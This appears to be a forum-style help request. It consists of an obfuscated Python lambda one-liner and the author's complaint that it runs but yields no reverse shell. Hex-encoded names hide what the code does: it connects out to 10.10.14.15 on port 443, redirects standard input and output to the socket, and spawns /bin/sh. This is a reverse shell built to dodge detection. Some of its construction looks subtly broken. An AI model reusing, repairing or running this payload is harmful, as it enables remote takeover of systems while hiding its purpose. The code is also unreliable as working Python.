(lambda:
(lambda f:
(lambda s: (
[
f((0x6f).to_bytes(1,'big').decode() + (0x73).to_bytes(1,'big').decode())(
(0x64).to_bytes(1,'big').decode() +
(0x75).to_bytes(1,'big').decode() +
(0x70).to_bytes(1,'big').decode() +
str(0x32>>1)
)(s.fileno(), fd)
for fd in (0,1,2)
] + [
f((0x70).to_bytes(1,'big').decode() +
(0x74).to_bytes(1,'big').decode() +
(0x79).to_bytes(1,'big').decode())(
(0x73).to_bytes(1,'big').decode() +
(0x70).to_bytes(1,'big').decode() +
(0x61).to_bytes(1,'big').decode() +
(0x77).to_bytes(1,'big').decode() +
(0x6e).to_bytes(1,'big').decode()
)('/bin/sh')
]
)
)(
(lambda sock: (
(sock.connect(
(
bytes([0x31,0x30,0x2e,0x31,0x30,0x2e,0x31,0x34,0x2e,0x31,0x35]).decode(),
443
)
) or sock
))(
f(bytes([0x73,0x6f,0x63,0x6b,0x65,0x74]).decode()).socket(2,1)
)
)
)(
(lambda:
type(
(lambda:0)(),
(),
{
'__getattr__': lambda _,n:
(lambda m: (_.__dict__.update({'m':m}) or m))(_[n])
if n.startswith((0x5f).to_bytes(1,'big').decode())
else globals()[
(0x5f).to_bytes(1,'big').decode()*2 +
(0x69).to_bytes(1,'big').decode() +
(0x6d).to_bytes(1,'big').decode() +
(0x70).to_bytes(1,'big').decode() +
(0x6f).to_bytes(1,'big').decode() +
(0x72).to_bytes(1,'big').decode() +
(0x74).to_bytes(1,'big').decode() +
(0x5f).to_bytes(1,'big').decode()*2
](n)
}
)()
)()
)))()
i tried use lambda, python code can execute, but cant get reverse shell.